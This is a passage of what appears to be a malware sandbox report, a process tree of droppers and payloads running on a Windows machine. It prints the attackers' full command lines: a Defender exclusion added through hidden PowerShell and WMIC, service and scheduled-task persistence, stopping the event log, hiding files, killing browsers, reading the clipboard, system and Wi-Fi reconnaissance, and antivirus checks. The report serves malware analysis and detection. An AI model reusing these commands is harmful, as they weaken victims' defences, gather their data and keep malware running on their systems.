                                                                    PID:5160
                                                                    • C:\Windows\system32\tasklist.exe
                                                                      tasklist
                                                                      8⤵
                                                                      • Enumerates processes with tasklist
                                                                      PID:1224
                                                                  • C:\Windows\system32\cmd.exe
                                                                    C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\MonsterUpdateService\Monster.exe""
                                                                    7⤵
                                                                    • Hide Artifacts: Hidden Files and Directories
                                                                    PID:5812
                                                                    • C:\Windows\system32\attrib.exe
                                                                      attrib +h +s "C:\Users\Admin\AppData\Local\MonsterUpdateService\Monster.exe"
                                                                      8⤵
                                                                      • Views/modifies file attributes
                                                                      PID:2588
                                                                  • C:\Windows\system32\cmd.exe
                                                                    C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('%error_message%', 0, 'System Error', 0+16);close()""
                                                                    7⤵
                                                                      PID:5952
                                                                    • C:\Windows\system32\cmd.exe
                                                                      C:\Windows\system32\cmd.exe /c "taskkill /F /IM chrome.exe"
                                                                      7⤵
                                                                        PID:5968
                                                                        • C:\Windows\system32\taskkill.exe
                                                                          taskkill /F /IM chrome.exe
                                                                          8⤵
                                                                          • Kills process with taskkill
                                                                          PID:3292
                                                                      • C:\Windows\system32\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                                        7⤵
                                                                          PID:3104
                                                                          • C:\Windows\system32\tasklist.exe
                                                                            tasklist /FO LIST
                                                                            8⤵
                                                                            • Enumerates processes with tasklist
                                                                            PID:5388
                                                                        • C:\Windows\system32\cmd.exe
                                                                          C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"
                                                                          7⤵
                                                                            PID:2804
                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                              powershell.exe Get-Clipboard
                                                                              8⤵
                                                                                PID:2024
                                                                            • C:\Windows\system32\cmd.exe
                                                                              C:\Windows\system32\cmd.exe /c "chcp"
                                                                              7⤵
                                                                                PID:3184
                                                                                • C:\Windows\system32\chcp.com
                                                                                  chcp
                                                                                  8⤵
                                                                                    PID:5816
                                                                                • C:\Windows\system32\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /c "chcp"
                                                                                  7⤵
                                                                                    PID:5636
                                                                                    • C:\Windows\system32\chcp.com
                                                                                      chcp
                                                                                      8⤵
                                                                                        PID:2080
                                                                                    • C:\Windows\system32\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"
                                                                                      7⤵
                                                                                        PID:3492
                                                                                        • C:\Windows\system32\systeminfo.exe
                                                                                          systeminfo
                                                                                          8⤵
                                                                                          • Gathers system information
                                                                                          PID:1672
                                                                                        • C:\Windows\system32\HOSTNAME.EXE
                                                                                          hostname
                                                                                          8⤵
                                                                                            PID:5752
                                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                                            wmic logicaldisk get caption,description,providername
                                                                                            8⤵
                                                                                            • Collects information from the system
                                                                                            PID:3588
                                                                                          • C:\Windows\system32\net.exe
                                                                                            net user
                                                                                            8⤵
                                                                                              PID:5916
                                                                                              • C:\Windows\system32\net1.exe
                                                                                                C:\Windows\system32\net1 user
                                                                                                9⤵
                                                                                                  PID:3592
                                                                                              • C:\Windows\system32\query.exe
                                                                                                query user
                                                                                                8⤵
                                                                                                  PID:2512
                                                                                                  • C:\Windows\system32\quser.exe
                                                                                                    "C:\Windows\system32\quser.exe"
                                                                                                    9⤵
                                                                                                      PID:3044
                                                                                                  • C:\Windows\system32\net.exe
                                                                                                    net localgroup
                                                                                                    8⤵
                                                                                                      PID:1120
                                                                                                      • C:\Windows\system32\net1.exe
                                                                                                        C:\Windows\system32\net1 localgroup
                                                                                                        9⤵
                                                                                                          PID:5748
                                                                                                      • C:\Windows\system32\net.exe
                                                                                                        net localgroup administrators
                                                                                                        8⤵
                                                                                                          PID:3184
                                                                                                          • C:\Windows\system32\net1.exe
                                                                                                            C:\Windows\system32\net1 localgroup administrators
                                                                                                            9⤵
                                                                                                              PID:5408
                                                                                                          • C:\Windows\system32\net.exe
                                                                                                            net user guest
                                                                                                            8⤵
                                                                                                              PID:1748
                                                                                                              • C:\Windows\system32\net1.exe
                                                                                                                C:\Windows\system32\net1 user guest
                                                                                                                9⤵
                                                                                                                  PID:5428
                                                                                                              • C:\Windows\system32\net.exe
                                                                                                                net user administrator
                                                                                                                8⤵
                                                                                                                  PID:5732
                                                                                                                  • C:\Windows\system32\net1.exe
                                                                                                                    C:\Windows\system32\net1 user administrator
                                                                                                                    9⤵
                                                                                                                      PID:5808
                                                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                    wmic startup get caption,command
                                                                                                                    8⤵
                                                                                                                      PID:5160
                                                                                                                    • C:\Windows\system32\tasklist.exe
                                                                                                                      tasklist /svc
                                                                                                                      8⤵
                                                                                                                      • Enumerates processes with tasklist
                                                                                                                      PID:5368
                                                                                                                    • C:\Windows\system32\ipconfig.exe
                                                                                                                      ipconfig /all
                                                                                                                      8⤵
                                                                                                                      • Gathers network information
                                                                                                                      PID:2516
                                                                                                                    • C:\Windows\system32\ROUTE.EXE
                                                                                                                      route print
                                                                                                                      8⤵
                                                                                                                        PID:3724
                                                                                                                      • C:\Windows\system32\ARP.EXE
                                                                                                                        arp -a
                                                                                                                        8⤵
                                                                                                                          PID:1352
                                                                                                                        • C:\Windows\system32\NETSTAT.EXE
                                                                                                                          netstat -ano
                                                                                                                          8⤵
                                                                                                                          • Gathers network information
                                                                                                                          PID:5768
                                                                                                                        • C:\Windows\system32\sc.exe
                                                                                                                          sc query type= service state= all
                                                                                                                          8⤵
                                                                                                                          • Launches sc.exe
                                                                                                                          PID:1224
                                                                                                                        • C:\Windows\system32\netsh.exe
                                                                                                                          netsh firewall show state
                                                                                                                          8⤵
                                                                                                                          • Modifies Windows Firewall
                                                                                                                          • Event Triggered Execution: Netsh Helper DLL
                                                                                                                          PID:3104
                                                                                                                        • C:\Windows\system32\netsh.exe
                                                                                                                          netsh firewall show config
                                                                                                                          8⤵
                                                                                                                          • Modifies Windows Firewall
                                                                                                                          • Event Triggered Execution: Netsh Helper DLL
                                                                                                                          PID:3044
                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
                                                                                                                        7⤵
                                                                                                                          PID:5376
                                                                                                                          • C:\Windows\system32\netsh.exe
                                                                                                                            netsh wlan show profiles
                                                                                                                            8⤵
                                                                                                                            • Event Triggered Execution: Netsh Helper DLL
                                                                                                                            PID:5916
                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                          C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                                                                                                          7⤵
                                                                                                                            PID:5756
                                                                                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                              wmic csproduct get uuid
                                                                                                                              8⤵
                                                                                                                                PID:5380
                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                              C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                                                                                                              7⤵
                                                                                                                                PID:5996
                                                                                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                  wmic csproduct get uuid
                                                                                                                                  8⤵
                                                                                                                                    PID:5988
                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\1000169001\surfshark.exe
                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\1000169001\surfshark.exe"
                                                                                                                              5⤵
                                                                                                                              • Checks computer location settings
                                                                                                                              • Executes dropped EXE
                                                                                                                              PID:4000
                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                C:\Windows\System32\schtasks.exe /Create /SC MINUTE /MO 1 /TN plunge.exe /TR "C:\ProgramData\F01FF211\plunge.exe" /F
                                                                                                                                6⤵
                                                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                                                PID:2888
                                                                                                                              • C:\ProgramData\F01FF211\plunge.exe
                                                                                                                                "C:\ProgramData\F01FF211\plunge.exe"
                                                                                                                                6⤵
                                                                                                                                  PID:5392
                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\1000171001\UGcLEmRAhjNb.exe
                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\1000171001\UGcLEmRAhjNb.exe"
                                                                                                                                5⤵
                                                                                                                                • Executes dropped EXE
                                                                                                                                • Suspicious use of SetThreadContext
                                                                                                                                PID:5456
                                                                                                                                • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
                                                                                                                                  C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
                                                                                                                                  6⤵
                                                                                                                                    PID:5696
                                                                                                                            • C:\Users\Admin\Documents\SimpleAdobe\Ct5BiE_iPGgAyUZtiaHG83BY.exe
                                                                                                                              C:\Users\Admin\Documents\SimpleAdobe\Ct5BiE_iPGgAyUZtiaHG83BY.exe
                                                                                                                              3⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              • Suspicious use of WriteProcessMemory
                                                                                                                              PID:4052
                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\is-9EPNN.tmp\Ct5BiE_iPGgAyUZtiaHG83BY.tmp
                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\is-9EPNN.tmp\Ct5BiE_iPGgAyUZtiaHG83BY.tmp" /SL5="$90048,4889829,54272,C:\Users\Admin\Documents\SimpleAdobe\Ct5BiE_iPGgAyUZtiaHG83BY.exe"
                                                                                                                                4⤵
                                                                                                                                • Executes dropped EXE
                                                                                                                                • Loads dropped DLL
                                                                                                                                • Suspicious use of FindShellTrayWindow
                                                                                                                                PID:3216
                                                                                                                                • C:\Users\Admin\AppData\Local\Gector Radio\gectorradio32_64.exe
                                                                                                                                  "C:\Users\Admin\AppData\Local\Gector Radio\gectorradio32_64.exe" -i
                                                                                                                                  5⤵
                                                                                                                                  • Executes dropped EXE
                                                                                                                                  PID:2432
                                                                                                                                • C:\Users\Admin\AppData\Local\Gector Radio\gectorradio32_64.exe
                                                                                                                                  "C:\Users\Admin\AppData\Local\Gector Radio\gectorradio32_64.exe" -s
                                                                                                                                  5⤵
                                                                                                                                  • Executes dropped EXE
                                                                                                                                  PID:4180
                                                                                                                            • C:\Users\Admin\Documents\SimpleAdobe\H_dkHUgYaxFrtCy17krHqnci.exe
                                                                                                                              C:\Users\Admin\Documents\SimpleAdobe\H_dkHUgYaxFrtCy17krHqnci.exe
                                                                                                                              3⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              • Suspicious use of SetThreadContext
                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                              • Suspicious use of WriteProcessMemory
                                                                                                                              PID:2564
                                                                                                                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                                                                                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                                                                                                4⤵
                                                                                                                                • Checks processor information in registry
                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                PID:1016
                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                  "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\DHJJEGHIIDAF" & exit
                                                                                                                                  5⤵
                                                                                                                                    PID:1860
                                                                                                                                    • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                      timeout /t 10
                                                                                                                                      6⤵
                                                                                                                                      • Delays execution with timeout.exe
                                                                                                                                      PID:1588
                                                                                                                              • C:\Users\Admin\Documents\SimpleAdobe\HnaQLHAKL_4qo9n8seaNBngl.exe
                                                                                                                                C:\Users\Admin\Documents\SimpleAdobe\HnaQLHAKL_4qo9n8seaNBngl.exe
                                                                                                                                3⤵
                                                                                                                                • Executes dropped EXE
                                                                                                                                PID:4888
                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS352.tmp\Install.exe
                                                                                                                                  .\Install.exe
                                                                                                                                  4⤵
                                                                                                                                  • Executes dropped EXE
                                                                                                                                  PID:1028
                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSCA8.tmp\Install.exe
                                                                                                                                    .\Install.exe /vdidI "385132" /S
                                                                                                                                    5⤵
                                                                                                                                    • Checks BIOS information in registry
                                                                                                                                    • Checks computer location settings
                                                                                                                                    • Executes dropped EXE
                                                                                                                                    • Enumerates system info in registry
                                                                                                                                    PID:4300
                                                                                                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m help.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
                                                                                                                                      6⤵
                                                                                                                                        PID:3096
                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                          /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                                                                                          7⤵
                                                                                                                                            PID:1828
                                                                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                              powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                                                                                              8⤵
                                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                              PID:1768
                                                                                                                                              • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                                                                                                9⤵
                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                PID:2160
                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                          schtasks /CREATE /TN "bhSAnxpmVrgvBYDGBw" /SC once /ST 16:23:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zSCA8.tmp\Install.exe\" UV /Hdide 385132 /S" /V1 /F
                                                                                                                                          6⤵
                                                                                                                                          • Drops file in Windows directory
                                                                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                                                                          PID:4640
                                                                                                                                  • C:\Users\Admin\Documents\SimpleAdobe\2pZCawHR5q9E2VoTlr7nCwpq.exe
                                                                                                                                    C:\Users\Admin\Documents\SimpleAdobe\2pZCawHR5q9E2VoTlr7nCwpq.exe
                                                                                                                                    3⤵
                                                                                                                                    • Executes dropped EXE
                                                                                                                                    • Suspicious use of SetThreadContext
                                                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                                                    PID:1308
                                                                                                                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                                                                                                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                                                                                                                      4⤵
                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                      PID:1952
                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1308 -s 268
                                                                                                                                      4⤵
                                                                                                                                      • Program crash
                                                                                                                                      PID:5024
                                                                                                                                  • C:\Users\Admin\Documents\SimpleAdobe\ShBdLmgBmdNyvKwzo5ccpH8o.exe
                                                                                                                                    C:\Users\Admin\Documents\SimpleAdobe\ShBdLmgBmdNyvKwzo5ccpH8o.exe
                                                                                                                                    3⤵
                                                                                                                                    • Executes dropped EXE
                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                    PID:1604
                                                                                                                                    • C:\Windows\system32\powercfg.exe
                                                                                                                                      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                                                                                                      4⤵
                                                                                                                                      • Power Settings
                                                                                                                                      PID:1596
                                                                                                                                    • C:\Windows\system32\powercfg.exe
                                                                                                                                      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                                                                                                      4⤵
                                                                                                                                      • Power Settings
                                                                                                                                      PID:852
                                                                                                                                    • C:\Windows\system32\powercfg.exe
                                                                                                                                      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                                                                                                      4⤵
                                                                                                                                      • Power Settings
                                                                                                                                      PID:336
                                                                                                                                    • C:\Windows\system32\powercfg.exe
                                                                                                                                      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                                                                                                      4⤵
                                                                                                                                      • Power Settings
                                                                                                                                      PID:4564
                                                                                                                                    • C:\Windows\system32\sc.exe
                                                                                                                                      C:\Windows\system32\sc.exe delete "CIFUBVHI"
                                                                                                                                      4⤵
                                                                                                                                      • Launches sc.exe
                                                                                                                                      PID:2864
                                                                                                                                    • C:\Windows\system32\sc.exe
                                                                                                                                      C:\Windows\system32\sc.exe create "CIFUBVHI" binpath= "C:\ProgramData\lmguvcpihozg\eqtpkqwqodik.exe" start= "auto"
                                                                                                                                      4⤵
                                                                                                                                      • Launches sc.exe
                                                                                                                                      PID:3704
                                                                                                                                    • C:\Windows\system32\sc.exe
                                                                                                                                      C:\Windows\system32\sc.exe stop eventlog
                                                                                                                                      4⤵
                                                                                                                                      • Launches sc.exe
                                                                                                                                      PID:3412
                                                                                                                                    • C:\Windows\system32\sc.exe
                                                                                                                                      C:\Windows\system32\sc.exe start "CIFUBVHI"
                                                                                                                                      4⤵
                                                                                                                                      • Launches sc.exe
                                                                                                                                      PID:408
                                                                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                        5⤵
                                                                                                                                          PID:2160
                                                                                                                                    • C:\Users\Admin\Documents\SimpleAdobe\DApNjtLqinctYTTewJzgKMvm.exe
                                                                                                                                      C:\Users\Admin\Documents\SimpleAdobe\DApNjtLqinctYTTewJzgKMvm.exe
                                                                                                                                      3⤵
                                                                                                                                      • Checks computer location settings
                                                                                                                                      • Executes dropped EXE
                                                                                                                                      PID:1588
                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                        "C:\Windows\System32\cmd.exe" /k copy Urban Urban.cmd & Urban.cmd & exit
                                                                                                                                        4⤵
                                                                                                                                          PID:1772
                                                                                                                                          • C:\Windows\SysWOW64\tasklist.exe
                                                                                                                                            tasklist
                                                                                                                                            5⤵
                                                                                                                                            • Enumerates processes with tasklist
                                                                                                                                            PID:2300
                                                                                                                                          • C:\Windows\SysWOW64\findstr.exe
                                                                                                                                            findstr /I "wrsa.exe opssvc.exe"
                                                                                                                                            5⤵
                                                                                                                                              PID:388
                                                                                                                                            • C:\Windows\SysWOW64\tasklist.exe
                                                                                                                                              tasklist
                                                                                                                                              5⤵
                                                                                                                                              • Enumerates processes with tasklist
                                                                                                                                              PID:5008
                                                                                                                                            • C:\Windows\SysWOW64\findstr.exe
                                                                                                                                              findstr /I "avastui.exe avgui.exe bdservicehost.exe nswscsvc.exe sophoshealth.exe"
                                                                                                                                              5⤵
                                                                                                                                                PID:1212
                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                cmd /c md 780229
                                                                                                                                                5⤵
                                                                                                                                                  PID:4508
                                                                                                                                                • C:\Windows\SysWOW64\findstr.exe
                                                                                                                                                  findstr /V "STEADYSIMSCOLLABORATIVEHUMANITIES" Stylus
                                                                                                                                                  5⤵
                                                                                                                                                    PID:1964
                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                    cmd /c copy /b Conservative + Transmission + Employee + Conservation + Coastal + Atlanta 780229\p
                                                                                                                                                    5⤵
                                                                                                                                                      PID:4684
                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\780229\Spec.pif
                                                                                                                                                      780229\Spec.pif 780229\p
                                                                                                                                                      5⤵
                                                                                                                                                      • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                      • Suspicious use of FindShellTrayWindow
                                                                                                                                                      • Suspicious use of SendNotifyMessage
                                                                                                                                                      PID:676
                                                                                                                                                    • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                      timeout 5
                                                                                                                                                      5⤵
                                                                                                                                                      • Delays execution with timeout.exe
                                                                                                                                                      PID:1008
                                                                                                                                                • C:\Users\Admin\Documents\SimpleAdobe\8rBxMohiV40Tcq_fH46iP4rJ.exe
                                                                                                                                                  C:\Users\Admin\Documents\SimpleAdobe\8rBxMohiV40Tcq_fH46iP4rJ.exe
                                                                                                                                                  3⤵
                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                  • Suspicious use of SetThreadContext
                                                                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                                                                  PID:4524
                                                                                                                                                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                                                                                                                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                                                                                                                                    4⤵
                                                                                                                                                      PID:3096
                                                                                                                                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                                                                                                                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                                                                                                                                      4⤵
                                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                      PID:4060
                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 4524 -s 280
                                                                                                                                                      4⤵
                                                                                                                                                      • Program crash
                                                                                                                                                      PID:1532
                                                                                                                                                  • C:\Users\Admin\Documents\SimpleAdobe\wYmcw9xn72wdi_yJ16SdJnte.exe
                                                                                                                                                    C:\Users\Admin\Documents\SimpleAdobe\wYmcw9xn72wdi_yJ16SdJnte.exe
                                                                                                                                                    3⤵
                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                    • Suspicious use of SetThreadContext
                                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                    PID:4792
                                                                                                                                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                                                                                                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                                                                                                                      4⤵
                                                                                                                                                        PID:5116
                                                                                                                                                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                                                                                                        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                                                                                                                        4⤵
                                                                                                                                                        • Checks processor information in registry
                                                                                                                                                        PID:1020
                                                                                                                                                        • C:\ProgramData\EGHCAKKEGC.exe
                                                                                                                                                          "C:\ProgramData\EGHCAKKEGC.exe"
                                                                                                                                                          5⤵
                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                          • Suspicious use of SetThreadContext
                                                                                                                                                          PID:5768
                                                                                                                                                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                                                                                                                            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                                                                                                                                            6⤵
                                                                                                                                                              PID:5364
                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 5768 -s 280
                                                                                                                                                              6⤵
                                                                                                                                                              • Program crash
                                                                                                                                                              PID:5728
                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                            "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\IIEGHJJDGHCA" & exit
                                                                                                                                                            5⤵
                                                                                                                                                              PID:5352
                                                                                                                                                              • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                timeout /t 10
                                                                                                                                                                6⤵
                                                                                                                                                                • Delays execution with timeout.exe
                                                                                                                                                                PID:5816
                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                        cmd /k echo [InternetShortcut] > "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VitaLink.url" & echo URL="C:\Users\Admin\AppData\Local\VitaConnect Innovations\VitaLink.js" >> "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VitaLink.url" & exit
                                                                                                                                                        2⤵
                                                                                                                                                        • Drops startup file
                                                                                                                                                        PID:2968
                                                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                                                      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                                                      1⤵
                                                                                                                                                        PID:2904
                                                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                                                        C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                                                                                                        1⤵
                                                                                                                                                          PID:1560
                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 1308 -ip 1308
                                                                                                                                                          1⤵
                                                                                                                                                            PID:3268
                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 4524 -ip 4524
                                                                                                                                                            1⤵
                                                                                                                                                              PID:2624
                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 5080 -ip 5080
                                                                                                                                                              1⤵
                                                                                                                                                                PID:1904
                                                                                                                                                              • C:\Windows\SysWOW64\hzzhoazg\crjqvtyq.exe
                                                                                                                                                                C:\Windows\SysWOW64\hzzhoazg\crjqvtyq.exe /d"C:\Users\Admin\Documents\SimpleAdobe\bjQdGm6ygYPNsMRtAScKnKmq.exe"
                                                                                                                                                                1⤵
                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                • Suspicious use of SetThreadContext
                                                                                                                                                                PID:3504
                                                                                                                                                                • C:\Windows\SysWOW64\svchost.exe
                                                                                                                                                                  svchost.exe
                                                                                                                                                                  2⤵
                                                                                                                                                                  • Sets service image path in registry
                                                                                                                                                                  • Drops file in System32 directory
                                                                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                                                                  PID:2964
                                                                                                                                                              • C:\ProgramData\lmguvcpihozg\eqtpkqwqodik.exe
                                                                                                                                                                C:\ProgramData\lmguvcpihozg\eqtpkqwqodik.exe
                                                                                                                                                                1⤵
                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                • Suspicious use of SetThreadContext
                                                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                PID:4444
                                                                                                                                                                • C:\Windows\system32\powercfg.exe
                                                                                                                                                                  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                                                                                                                                  2⤵
                                                                                                                                                                  • Power Settings
                                                                                                                                                                  PID:3084
                                                                                                                                                                • C:\Windows\system32\powercfg.exe
                                                                                                                                                                  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                                                                                                                                  2⤵
                                                                                                                                                                  • Power Settings
                                                                                                                                                                  PID:4920
                                                                                                                                                                • C:\Windows\system32\powercfg.exe
                                                                                                                                                                  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                                                                                                                                  2⤵
                                                                                                                                                                  • Power Settings
                                                                                                                                                                  PID:520
                                                                                                                                                                • C:\Windows\system32\powercfg.exe
                                                                                                                                                                  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                                                                                                                                  2⤵
                                                                                                                                                                  • Power Settings
                                                                                                                                                                  PID:3140
                                                                                                                                                                • C:\Windows\system32\conhost.exe
                                                                                                                                                                  C:\Windows\system32\conhost.exe
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:2112
                                                                                                                                                                    • C:\ProgramData\lmguvcpihozg\eqtpkqwqodik.exe
                                                                                                                                                                      "C:\ProgramData\lmguvcpihozg\eqtpkqwqodik.exe"
                                                                                                                                                                      3⤵
                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                      • Suspicious use of SetThreadContext
                                                                                                                                                                      PID:3620
                                                                                                                                                                      • C:\Windows\system32\powercfg.exe
                                                                                                                                                                        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                                                                                                                                        4⤵
                                                                                                                                                                        • Power Settings
                                                                                                                                                                        PID:1008
                                                                                                                                                                      • C:\Windows\system32\powercfg.exe
                                                                                                                                                                        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                                                                                                                                        4⤵
                                                                                                                                                                        • Power Settings
                                                                                                                                                                        PID:3984
                                                                                                                                                                      • C:\Windows\system32\powercfg.exe
                                                                                                                                                                        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
